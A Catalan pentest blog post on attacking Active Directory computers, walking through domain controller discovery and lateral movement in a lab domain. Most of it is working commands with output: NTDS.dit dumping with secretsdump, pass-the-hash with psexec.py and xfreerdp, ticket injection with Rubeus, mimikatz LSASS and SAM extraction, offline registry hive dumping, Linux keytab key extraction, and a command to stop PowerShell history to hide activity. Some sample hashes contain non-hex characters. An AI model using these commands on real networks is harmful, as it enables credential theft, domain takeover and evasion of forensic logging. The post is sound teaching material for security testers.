Atacant el Directori Actiu: Ordinadors

Per suposat, els ordinadors són la peça clau del Directori Actiu. Com ja he comentat en altres entrades, als ordinadors és on es fan totes les operacions del domini, però també hi ha tots els usuaris que necessiten connectar-se als controladors de domini.

A cada domini hi ha tres tipus d’ordinadors:

  • Controladors del Domini: són els servidors centrals que gestionen totes les operacions del domini. Són ordinadors amb Windows Server.
  • Estacions de treball: són els orinadors que utilitzen dia a dia el personal de l’empresa. Normalment, tenen Windows 11 o 10.
  • Servidors: ordinadors que s’utilitzen per oferir algun tipus de servei, com pàgines web, gestió d’arxius o bases de dades. Són ordinadors que poden tenir un sistema operatiu Windows o Linux.

Controladors del Domini

Els controladors del domini, o DC, són els servidors centrals que executen el servei del directori actiu (AD DS). Això implica que són els responsables de mantenir la base de dades del domini amb tota l’informació sobre els objectes i serveis, com l’autenticació, autorització, resolució de noms…

La base de dades està emmagatzemada a la ruta C:\Windows\NTDS\ntds.dit. Per tant, si algú aconsegueix robar aquest fitxer, obtindrà tota l’informació dels objectes del domini (usuaris, ordinadors, grups, polítiques), incloent credencials. Per aquest motiu, la base de dades és només accessible pels controladors del domini i els membres administradors.

Com et deus haver imaginat, els DC són un punt crític dins del directori actiu, ja que tots els equips han de poder comunicar-se amb ells i la seva base de dades però a la vegada, han d’estar molt protegits.

Normalment, si el domini és gran, hi ha més d’un controlador per a poder distribuir el tràfic i tenir més d’un punt de fallo (si un cau, no col·lapses el sistema). Addicionalment, les bases de dades de tots els controladors han d’estar sincronitzades.

Descobriment

Els controladors del domini han de ser visibles per a qualsevol ordinador o usuari. Hi ha diverses maneres d’esbrinar quins son els teus.

Amb nslookup pots fer-ho sense necessitat d’autenticar-te fent una petició DNS als servidors LDAP:

PS C:\Users\Nadki> nslookup -q=srv _ldap._tcp.dc._msdcs.projectenadki.local
Server:  UnKnown
Address:  192.168.1.30

_ldap._tcp.dc._msdcs.projectenadki.local      SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc01.projectenadki.local
_ldap._tcp.dc._msdcs.projectenadki.local      SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc02.projectenadki.local
dc01.projectenadki.local      internet address = 192.168.1.5
dc02.projectenadki.local      internet address = 192.168.1.6

També pots fer-ho amb ntltest, però necessites un usuari del domini:

PS C:\Users\Nadki> nltest /dclist:projectenadki.local
Get list of DCs in domain 'projectenadki.local' from '\\dc01.projectenadki.local'.
    dc01.projectenadki.local [PDC]  [DS] Site: Default-First-Site-Name
    dc02.projectenadki.local        [DS] Site: Default-First-Site-Name
The command completed successfully

També ho pots fer amb el Mòdul AD o directament amb Powershell:

PS C:\Users\Nadki> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs

Per últim, si estàs fent un pentest segurament utilitzaràs algun escaneig de ports per obtenir informació dels orinadors de la xarxa. Si n’escaneges un que té els ports 53, 88, 135, 139, 389 i 445 oberts (en tindrà més segurament), probablement sigui un controlador del domini.

Copiar la base de dades

Si aconsegueixes ser un administrador del domini, seràs capaç de copiar la base de dades dels controladors i llegir les contrasenyes de tots els usuaris.

Per aconseguir extreure el contingut de la base de dades, has de poder iniciar sessió al controlador de domini i copiar-la localment amb ntdsutil o vssadmin o en remot amb mimikatz lsadump::dsync o impacket secretsdump.py.

Nota: vigila perquè si demanes totes les credencials de tots els usuaris en un domini molt gran, el DC pot tardar molt a respondre i, en casos extrems, pot arribar a petar!

$ secretsdump.py 'projectenadki.local/Administrator@192.168.1.5' -just-dc-user krbtgt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fe8b03404a4975e7226caf6162cfccba:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162
krbtgt:aes128-cts-hmac-sha1-96:a268f61e103134bb7e975a146ed1f506
krbtgt:des-cbc-md5:0e6d79d66b4951cd
[*] Cleaning up...

Ordinadors Windows

A part dels controladors del domini, hi ha ordinadors amb el sistema operatiu Windows que s’utilitzen com a Servidors o estacions de treball. Normalment tenen les versions de Windows 10 o els seus homòlegs a les edicions de Windows Server. Algunes vegades et trobaràs edicions antigues com el Windows 7 o inclús XP.

Descobriment

Hi ha diverses tècniques que pots utilitzar per identificar els ordinadors Windows.

La primera serveix si estàs autenticat al domini i consisteix en és fer una petició a la base de dades a través de LDAP amb l’eina ldapsearch:

$ ldapsearch -H ldap://192.168.1.5 -x -LLL -W -D "Nadki@projectenadki.local" -b "dc=projectenadki,dc=local" "(objectclass=computer)" "DNSHostName" "OperatingSystem"
Enter LDAP Password: 

dn: CN=DC01,OU=Domain Controllers,DC=projectenadki,DC=local
operatingSystem: Windows Server 2019 Standard Evaluation
dNSHostName: dc01.projectenadki.local

dn: CN=WS01-10,CN=Computers,DC=projectenadki,DC=local
operatingSystem: Windows 10 Enterprise
dNSHostName: ws01-10.projectenadki.local

dn: CN=WS02-7,CN=Computers,DC=projectenadki,DC=local
operatingSystem: Windows 7 Professional
dNSHostName: WS02-7.projectenadki.local

dn: CN=SRV01,CN=Computers,DC=projectenadki,DC=local
operatingSystem: Windows Server 2019 Standard Evaluation
dNSHostName: srv01.projectenadki.local

Una altra tècnica és utilitzar el servei de NetBIOS que escolta al port 137 i et permet fer la resolució de nom a través de l’IP. Pots utilitzar els scripts nbtscan o nbtstat:

$ nbtscan 192.168.1.0/24
192.168.1.5   PROJECTENADKI\DC01                    SHARING DC
192.168.1.9   PROJECTENADKI\WS02-7                  SHARING 
192.168.1.10  PROJECTENADKI\WS01-10                 SHARING
*timeout (normal end of scan)

Per últim, la tècnica més coneguda i la que jo més utilitzo és Nmap, que et permetrà fer descobriment i enumeració molt detallat i inclou alguns dels scripts que he comentat abans. Fes un cop d’ull a l’entrada d’Nmap del blog si vol veure comandes avançades!

Connexions

Una vegada has identificat tots els ordinadors Windows del domini, segurament t’interessarà connectar-t’hi per aconseguir informació.

A continuació t’explico algunes tècniques, però per ejecutar moltes d’elles necessitaràs tenir credencials. Per tant, podríem dir que aquest apartat et servirà durant la post explotació o en una segona fase del pentest.

RPC/SMB

La primera manera de connectar-se és utilitzant RPC amb SMB. Aquest mètode utilitza una eina molt coneguda anomenada PsExec i els scripts del mòdul Impacket com psexec.py, wmiexec.py o qualsevol dels exemples acabats amb “exec.py”.

Aquestes eines executaran comendes utilitzant una interfície de RPC i enviaran o rebran l’informació a través de pipes de SMB. Normalment, aquestes eines necessiten que el port 445 (SMB) estigui obert i algunes com wmiexec.py també el 135 (RPC).

Addicionalment, és possible fer la connexió no només amb la contrasenya sinó també amb tècniques com Pass-The-Hash, utilitzant el hash NT o LM. Les eines d’Impacket estan dissenyades per fer la connexió directament amb el hash:

$ psexec.py projectenadki.local/Nadki@192.168.1.10 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.1.10.....
[*] Found writable share ADMIN$
[*] Uploading file WFKqIQpM.exe
[*] Opening SVCManager on 192.168.1.10.....
[*] Creating service AoRl on 192.168.1.10.....
[*] Starting service AoRl.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.

(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'

C:\Windows\system32>whoami
nt authority\system

D’aquesta manera, si aconsegueixes comprometre un ordinador i bolcar la SAM, podràs connectar-te sense necessitat de saber la contrasenya.

Com has pogut veure, el sistema d’autenticació que hem utilitzat és NTLM, que potser no és la millor opció, ja que per defecte el directori actiu utilitza Kerberos.

Per tal d’aconseguir un tiquet de Kerberus pots fer una petició amb la contrasenya de l’usuari, el hash NT (Overpass-the-Hash), la clau Kerberos (Pass-The-Key) o simplement robar un tiquet d’un ordinador Windows o Linux (Pass-The-Ticket).

Has de tenir en compte que els ordinadors Windows i Linux, i les diferents eines, utilitzen formats de tiquet diversos per lo que potser tens problemes per moure un tiquet de Linux a un ordinador Windows, o viceversa. Pots convertir els tiquets a diferents formats utilitzant ticket_converter o cerbero.

A continuació, pots veure com aconseguir un tiquet TGT amb Impacket i utilitzar-lo per autenticar-te a un ordinador Windows:

$ getTGT.py projectenadki.local/Nadki -dc-ip 192.168.1.5 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in Nadki.ccache

$ export KRB5CCNAME=$(pwd)/Nadki.ccache

$ psexec.py projectenadki.local/Nadki@WS01-10 -target-ip 192.168.1.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.1.10.....
[*] Found writable share ADMIN$
[*] Uploading file TwIEeeqd.exe
[*] Opening SVCManager on 192.168.1.10.....
[*] Creating service ZQZb on 192.168.1.10.....
[*] Starting service ZQZb.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.

(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'

C:\Windows\system32>

Quan utilitzes l’autenticació de Kerberos has de posar el nom de l’ordinador (nom DNS o NetBIOS) en lloc de l’IP, sinó rebràs el següent error:

$ psexec.py projectenadki.local/Nadki@192.168.1.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

Powershell Remoting

Una alternativa alternativa a RPC/SMB és utilitzar Powershell Remoting, que et permetrà obtenir una sessió de Powershell a l’ordinador. El servei de Powershell Remoting escolta al port 5985 i està habilitat per defecte als Windows Servers.

Pots utilitzar Powershell Remoting des del Windows utilitzant un dels molts paràmetres CmdLets de Powershell. Des del Linux pots utilitzar l’eina evil-winrm.

Igual que RPC/SMB pots utilitzar la contrasenya, el hash NT o el ticket de Kerberos per connectar-te a l’objectiu. Amb evil-winrm pots passar-ho directament com un atribut o configurar l’arxiu ccache com a Impacket (exemple anterior). Amb els cmdlets de Powershell, necessites passar directament la contrasenya. No obstant això, si tens el tiquet o el hash, hauràs d’injectar-los utilitzant Rubeus o mimikatz:

PS C:\> .\Rubeus.exe asktgt /user:Administrator /rc4:b73fdfe10e87b4458a0d957f81de6863 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: b73fdfe10e87b4458a0d957f81de6863
[*] Building AS-REQ (w/ preauth) for: 'projectenadki.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFQjCCBT6gAwIBBaEDAgEWooIETzCCdfeyhgRHMIIEQ6ADAgEFoQ8bDUNPTlRPU08uTE9DQUyiIjAg
      oAMCAQKhGTAXGwZrcmJ0Z3QbDWNvbnRvc28ubG9jYWyjggQFMIIEAaADAgESoQMCAQKiggPzBIID7xK3
      <!--stripped-->
      ERgPMjAyMTA1MDgwMjQzMjZapxEYDzIwnhEwNTE0MTY0MzI2WqgPGw1D3g5UT1NPLkxPQ0FMqSIwIKAD
      AgECoRkwFxsGa3JidGd0Gw1jb250b3NvLmxvY2Fs
[+] Ticket successfully imported!

  ServiceName           :  krbtgt/projectenadki.local
  ServiceRealm          :  PROJECTENADKI.LOCAL
  UserName              :  Administrator
  UserRealm             :  PROJECTENADKI.LOCAL
  StartTime             :  08/02/2022 20:40:27
  EndTime               :  12/02/2022 05:40:27
  RenewTill             :  08/02/2022 20:40:27
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  95a1NmgYGrOmiyCa3qlplA==

PS C:\> Enter-PSSession -ComputerName dc01
[dc01]: PS C:\Users\Administrator\Documents> whoami
projectenadki\administrator

[dc01]: PS C:\Users\Administrator\Documents> hostname
dc01

[dc01]:

RDP

Un dels mètodes més utilitzats per connectar-se remotament a un ordinador Windows és RDP (Remote Desktop Protocol). Des de Windows pots utilitzar el client que està instal·lat per defecte Remote Desktop Connection (mstsc) i des de Linux tens diverses opcions: rdesktop, freerdp o remmina.

Quan es realitza una connexió RDP, les credencials es queden a la caché de l’ordinador, cosa que permet a un atacant poder-les robar del procés lsass amb eines com mimikatz. Les credencials es guarden a la caché perquè l’usuari no les hagi d’introduir cada vegada, però a vegades no és necessari. Per això, a Windows 8.1 /2012 R2 van introduir el mode Restricted Admin que evita que s’enviïn les credencials en clar, així no permet poder robar al contrasenya però si utilitzar les tèquines Pass-The-Hash, Pass-The-Key i Pass-The-Ticket.

Des de Linux, pots utilitzar freerdp per fer Pass-The-Hash (necessitaràs instal·lar els paquets freerdp2-x11 i freerdp2-shadow-x11 en lloc de freerdp-x11). Només necessites el hash NT en lloc de la contrasenya:

xfreerdp /u:Nadki@projectenadki.local /pth:b73fdfe10e87b4458a0d957f81de6863 /v:192.168.1.10

Per altra banda, des d’un Windows pots injectar el hash NT o el tiquet de Kerberos utilitzant mimikatz o Rubeus i després utilitzar mstsc.exe /restrictedadmin per establir la connexió RDP sense necessitar la contrasenya.

Credencials

LSASS

Al Windows, un lloc comú on trobar credencials és al process LSSAS (Local Security Authority Subsystem Service), que s’encarrega de gestionar les operacions relacionades amb la seguretat que s’afectuen a l’ordinador, inclós l’autenticació de l’usuari.

Quan un usuari realitza un inici de sessió interactiu, ja sigui físicament o a través de RDP, les credencials de l’usuari es queden cachejades al procés LSASS per tal de poder fer SSO (Single Sign-On) quan inicies sessió en linia, necessari per accedir a altres recursos o ordinadors del domini.

Nota: Tingues en compte que si t’autentiques a través de NTLM o Kerberos, les credencials no es guardaran a l’ordinador (al procés LSASS), ja que aquests protocols no envien les credencials d’usuari a l’ordinador remot (excepte si la delegació de Kerberos està activada).
Per tant, no pots extreure les credencials de LSASS (amb mimikatz) d’un usuari que s’hagi connectat remotament utilitzant NTLM o Kerberos (a no ser que hi hagi un protocol que les envïi expressament com RDP).

Les credencials són cachejades per algun dels SSPs (Security Support Providers) que LSASS utilitza per proveir els diferents mètodes d’autenticació. Alguns SSPs són els següents:

  • Kerberos SSP: gestiona l’autenticació de Kerberos i és responsable d’emmagatzemar els tiquets i les claus de Kerberos dels usuaris que tenen la sessió iniciada.
  • NTLMSSP: gestiona l’autenticació NTLM i es responsable d’emmagatzemar els hashes NT dels usuaris que tenen la sessió iniciada. No cachejarà les credencials.
  • Digest SSP: implementa el protocol Digest Access utilitzat per les aplicacions HTTP. Aquest SSP si que guarda en clar les credencials per poder calcular el digest. Encara que el cacheig de credencials estigui deshabilitat per defecte des de Windows 2008 R2, encara és possible habilitar-ho a la clau de registre HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential o actualitzant el Digest SSP directament a memòria.

Per tant, si ets capaç d’accedir en memòria al procés LSASS, pel que necessitaràs el privilegi SeDebugPrivilege que tenen normalment els administrador ja que LSASS és un procés de sistema, podràs aconseguir totes les credencials cachejades. Com ja he comentat abans, les credencials poden incloure també hashes NT, claus de Kerberos i tiquets, inclús algunes contrasenyes en text clar si és un ordinador antic.

Per extreure les credencials amb mimikatz, hi ha algunes comandes que necessitaràs:

  • sekurlsa::logonpasswords: extreu els hashes NT i els contrasenyes.
  • sekurlsa::ekeys: extreu les claus de Kerberos.
  • sekurlsa::tickets: extreu els tiquets de Kerberos.

Necessitaràs que el privilegi SeDebugPrivilege estigui activat per accedir a la memòria de LSASS. Per defecte, està habilitat a Powershell i deshabilitat a CMD (i tots els seus processos fills). Si estàs executant mimikatz, pots habilitar el permís utiltizant la comanda privilege::debug. Sinó també pots executar-lo directament a través de Powershell o amb l’eina sepriv per habilitar-lo a CMD.

A continuació, pots veure la seqüència de comandes per executar mimikatz, habilitar el mode debug i extreure alguns hashes:

C:\>.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 629376 (00000000:00099a80)
Session           : Interactive from 1
User Name         : Administrator
Domain            : PROJECTENADKI
Logon Server      : DC01
Logon Time        : 14/02/2022 13:43:20
SID               : S-1-5-21-1374566773-2239846523-2956489801-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : PROJECTENADKI
         * NTLM     : b73fdfe10e878h895c0d957f81de6863
         * SHA1     : 88cbc713492c32945h8j7o9pee08c7e31c70d716
         * DPAPI    : 0c1e1d360ebc457g9ff9577fcdb60d75
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : PROJECTENADKI
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : PROJECTENADKI.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :

Tingues en compte que els administradors de sistema poden protegir LSASS contra l’extrecció de credencials uiltizant Credential Guard, que utilitza la tecnologia de hypervisor per emmagatzemar les credencials a un lloc segur fora del sistema operatiu. No obstant això, potser pots arribar a evadir aquesta protecció: enllaç.

Adicionalment, lsass.exe pot ser configurar per executar PPL (Protocted Process Light). Encara que això dificulti l’extracció de credencials, també es pot deshabilitar: enllaç.

Registre

LSA Secrets

Un altre lloc per trobar credencials és al registre. Al registre, l’ordinador emmagatzema algunes credencials necessàries per poder funcionar correctament. Un dels llocs on s’emmagatzemen és als LSA Secrets.

LSA Secrets és un lloc d’emmagatzematge especial que es troba al registre que s’utilitza per guardar informació sensible que només pot ser accedida pel compte local SYSTEM. Al disc, els LSA Secrets es guarden sota la clau SECURITY a un fitxer que està xifrat amb les claus BootKey i SysKey (emmagatzemades a la clau SYSTEM).

PS C:\> whoami
nt authority\system

PS C:\> reg query HKLM\SECURITY\Policy\Secrets

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
    (Default)    REG_NONE

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$MACHINE.ACC
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DefaultPassword
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\NL$KM
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\_SC_mysql

A LSA Secrets pots trobar:

  • Compte d’ordinador del domini: per poder formar part del domini, els ordinadors utilitzen un compte d’usuari de domini. Per tant, l’usuari i contrasenya d’aquest ordinador ha de ser accessible pel sistema operatiu. Les credencials de l’usuari de l’ordinador canvien cada 30 dies per defecte. Aquest compte és utilitzat per SYSTEM per interactuar amb el domini, però no localment ja que no té permisos d’administrador de l’ordinador. No obstant això, encara que no tingui permisos d’administrador, pots utilitzar el compte per crear un Silver ticket o llençar un atac RBCD per aconseguir escalar privilegis a l’ordinador.
  • Contrasenyes d’usuaris de servei: per poder executar serveis en nom dels usuaris, l’ordinador necessita guardar les seves contrasenyes. No obstant, no s’emmagatzema la contrasenya de l’usuari, sinó la del servei.
  • Contrasenya auto-logon: si el Windows té l’auto-logon habiliat, la contrasenya es pot guardar a LSA Secrets. L’altra alternativa és que s’emmagatzemi a la clau del registre HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon sota el nom de DefaultUserName. El domini i l’usuari es guarden sempre a les claus DefaultDomainName i DefaultUserName respectivament.
  • Claus mestres DPAPI: La data protection API (DPAPI) s’utiltiza per permetre als usuaris xifrar informació sensible sense que s’hagin de preocupar de la gestió de les claus criptogràfiques. Si ets capaç d’aconseguir les claus mestres, podràs desxifrar l’informació dels usuaris.

A més a més, a la branca de SECURITY també hi ha guardades les credencials dels últims usuaris de domini que han iniciat sessió a l’ordinador, conegudes com Domain cached credentials (DCC). D’aquesta manera, l’ordinador pot autenticar als usuaris encara que la connexió amb el controlador de domini es perdi. Les credencials cachejades utilitzen els hashes MSCACHEV2/MSCASH, diferents als hashes NT i per això no es poden utilitzar en tècniques com Pass-The-Hash, però igualment pots crackejar-los per aconseguir la contrasenya en clar.

SAM

Un altre lloc on es guarden credencials és a la base de dades SAM, que conté tots els hashes NT dels usuaris locals de l’ordinador. Això pot ser útil perquè hi ha empreses que utiltizen la mateixa contrasenya d’Administrador local a tots els ordinadors del domini, per lo que podries iniciar sessió a qualsevol ordinador amb el hash i CrackMapExec.

Extreure credencials

Per aconseguir les credencials guardades a la branca SECURITY del registre i de la SAM, pots llegir la memòria utilitzant mimikatz.

Primer de tot, has d’executar token::elevate per aconseguir ser SYSTEM, sinó no tindràs suficients privilegis. Executa també privilege::debug per si fos necessari habilitar SeDebugPrivilege.

Després, ja pots executar les següents comandes per anar obtenint les contrasenyes:

  • lsadump::secrets: extreu LSA Secrets.
  • lsadump::cache: extreu les credencials cachejades dels inicis de sessió del domini.
  • lsadump::sam: extre les credencials dels comptes locals.

Una alternativa és guardar una copia de la branca del registre amb la comanda reg save per moure el contingut a la teva màquina i obtenir les credencials amb secretsdump.py o mimikatz.

Si vols utilitzar l’alternativa, primer hauràs de guardar les claus de registre SECURITY i SAM i també SYSTEM, ja que conté les Boot Key que permeten desxifrar les dues primeres claus:

C:\>reg save HKLM\SYSTEM system.bin
The operation completed successfully.

C:\>reg save HKLM\SECURITY security.bin
The operation completed successfully.

C:\>reg save HKLM\SAM sam.bin
The operation completed successfully.

Una vegada guardades, pots executar secretsdump directament des del teu ordinador:

$ secretsdump.py -system system.bin -security security.bin -sam sam.bin  LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0xb471eae0e93128b9c8d5780c19ac9f1d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::
user:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Dumping cached domain logon information (domain/username:hash)
CONTOSO.LOCAL/Nadki:$DCC2$10240#anakin#2933cad9235d2f502d7bedc2016e6553
CONTOSO.LOCAL/bcn:$DCC2$10240#han#4a52a6d0d7f3590c68124f4d5f7ef285
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:59aa6b91e74a0a6fc40efee9f2fb07936a9d69f46397dee82d3ec6ca4d0c01a0293d79e5c040bf564b7938d6c25597816921ec614ad25933af6a2482a8ace4d1dd54dd4bb465384b30046d85f65083e885455ec5f01dcae30df619e3f944eaa008a09e0f7432981f7cdb8dea34e432f00ed92e1ae3e48111326deb2d0f9a6e7d868e24c840b8814d338a4165f90381a4a6b824addb4f71c5908cac4423a4efbc5a4d846c09245930b526a6bec8c678ca838a005dcf5014f8b18426c3e0dbd3921f82c57e6ca025d0258d4536a9e0b68b90ff26c054c992c84d11e95f78c55ca411ee0e5b412cb4fc0f08c28ca2d79996
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:b13dae64def5f205f382a0ab4174eb85
[*] DefaultPassword 
(Unknown User):user
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x6880eb76862df7875705885938102c696717eb18
dpapi_userkey:0x828326418633117212de44bcda10806fc6765d4a
[*] NL$KM 
 0000   0B BC 2E DB A1 A7 E2 42  56 6D B8 4B 5A 37 79 A4   .......BVm.KZ7y.
 0010   53 51 75 6D 64 7F 9A BF  DC BF C2 83 F4 64 02 A6   SQumd........d..
 0020   5E E8 53 AB E5 4B 35 A4  5B 19 7E 97 E0 CA 32 6C   ^.S..K5.[.~...2l
 0030   77 68 E8 F1 C0 54 AD 7B  03 F7 BE 59 2E 59 C3 93   wh...T.{...Y.Y..
NL$KM:0bbc2edba1a7e242566db84b5a3779a45351756d647f9abfdcbfc283f46402a65ee853abe54b35a45b197e97e0ca326c7768e8f1c054ad7b03f7be592e59c393
[*] _SC_mysql 
(Unknown User):Defecte1234!
[*] Cleaning up...

La secció Dumping cached domain logon information conté les credencials cachejades del domini. Per a poder crackerjar-les has de guardar-ho amb el format $DCC2$10240#username#hash i utilitzar hashcat

La secció $MACHINE.ACC conté les contrasenyes de l’usuari de l’ordinador, encodejada en hexadecimal, juntament amb el hash NT.

La secció DefaultPassword conté les contrasenyes d’auto-logon. Per a poder aconseguir el domini i l’usuari, has de consultar les entrades DefaultDomainName i DefaultUserName de la clau de registre HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.

La secció DPAPI_SYSTEM conté les claus màster DPAPI del sistema. Aquestes claus et permetran [desxifrar] l’informació dels usuaris.

NK$LM conté la clau utilitzada per xifrar les credenciald cachejades del domini, però com que secretsdump ja les ha desxifrat només et servirà a nivell informatiu.

Finalment, les entrades formades per SC són les que indiquen la contrasenya dels usuaris de servei. En aquest exemple, hi ha el servei mysql del que no tenim l’usuari però pots obtenir-lo així:

PS C:\> Get-WmiObject win32_service -Filter "name='mysql'" | select -ExpandProperty startname
PROJECTENADKI\sql

Històric Powershell

A part del procés LSASS i el registre, pots obtenir informació i buscar credencials d’altres llocs, com l’històric de Powershell. Pots executar les següents comandes per localitzar i llegir l’històric:

(Get-PSReadlineOption).HistorySavePath
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Com a concell, potser t’interessa executar la següent comanda per evitar guardar les comandes que utilitzis es quedin guardades a l’històric:

Set-PSReadlineOption -HistorySaveStyle SaveNothing

Altres

A part del que he explicat, també pots trobar credencials o informació sensible a molts altres llocs de l’ordinador, com a fitxers de configuració. Tambe hi ha molts probrames, com els navegadors, que poden arribar a emmagatzemar credencials que et poden ser útils durant el pentest.

Per saber quins programes guarden credencials, fés un cop d’ull al LaZagne project.

Alternativament, en un exercici de pentest o red team, pots utiltizar altres tècniques com keyloggers o mòduls SSP falsos.

Ordinadors Linux

Descobriment

Igual que amb els ordinadors Windows, pots utilitzar la mateixa petició a les bases de dades utilitzant LDAP si tens un usuari del domini.

Una altra tècnica és utiltizar també Nmap. No obstant això, et serà una mica més dificil d’identificar els ordinadors Linux directament, ja que aquests no tenen ports característics oberts per defecte. A vegades, hi ha el port 22 (SSH) que utilitzen els administradors de sistema per connectar-se.

Connexions

Per tal de connectar-te a un ordinador Linux, el servei més utilitzat és SSH. A vegades pot inclús utilitzar Powershell remotinc, ja que funciona sobre SSH.

$ ssh root@debian10 
root@192.168.1.12's password: 
Linux debian10 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May  7 12:55:20 2021 from 192.168.100.137
root@debian10:~#

A part de connectar-te amb contrasenya, també pots utilitzar claus SSH:

$ ssh -i id_ed25519_foo_key foo@db.projectenadki.local

Finalment, si l’ordinador Linux forma part del domini, segurament podràs utilitzar l’autenticació de Kerberos amb SSH. Pots especificar al client SSH que vols autenticar-te amb Kerberos abilitant l’autenticació GSSAPI (-o GSSAPIAuthentication=yes). Recorda que pots aconseguir tiquets amb tècniques com Pass-The-Ticket, Overpass-The-Hash o Pass-The-Key amb eines com Rubeus, cerbro o impacket.

Tingues en compte que alguns ordinadors antics Linux pots trobar-te que tenen el Telnet habilitat al port 23. Si és així, et podràs connectar amb usuari i contrasenya.

Credencials

Malauradament pels atacants, Linux no té cap procés LSASS que cachegi les credencials, però hi ha igualment llocs que poden ser interessants.

Tiquets Kerberos

Per tal d’autenticar als usuaris, els ordinadors Linux normalment tenen un client de Kerberos que està configurat amb el domini del compte de l’ordinador. Pots trobar les credencials al keytab, al directori /etc/krb5.keytab, o amb l’informació especificada per les variables d’entorn KRB5_KTNAME o KRB5_CLIENT_KTNAME, o la que hi ha als fitxers de configuració Kerberos a /etc/krb5.conf.

Pots veure els contigut dels fitxers, incloent les claus, amb la comanda klist o cerbero:

$ klist -k -Ke
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
   1 r2d2@projectenadki.local (DEPRECATED:arcfour-hmac)  (0xc49a77fafad6d3a9270a8568fa453003)

En aquest exemple, hi ha un compte configurat amb hash NT (hash amb format RC4-HMAC). Pots utiltizar les claus emmagatzemades per aconseguir un tiquet de Kerberos per suplentar l’identitat de l’usuari.

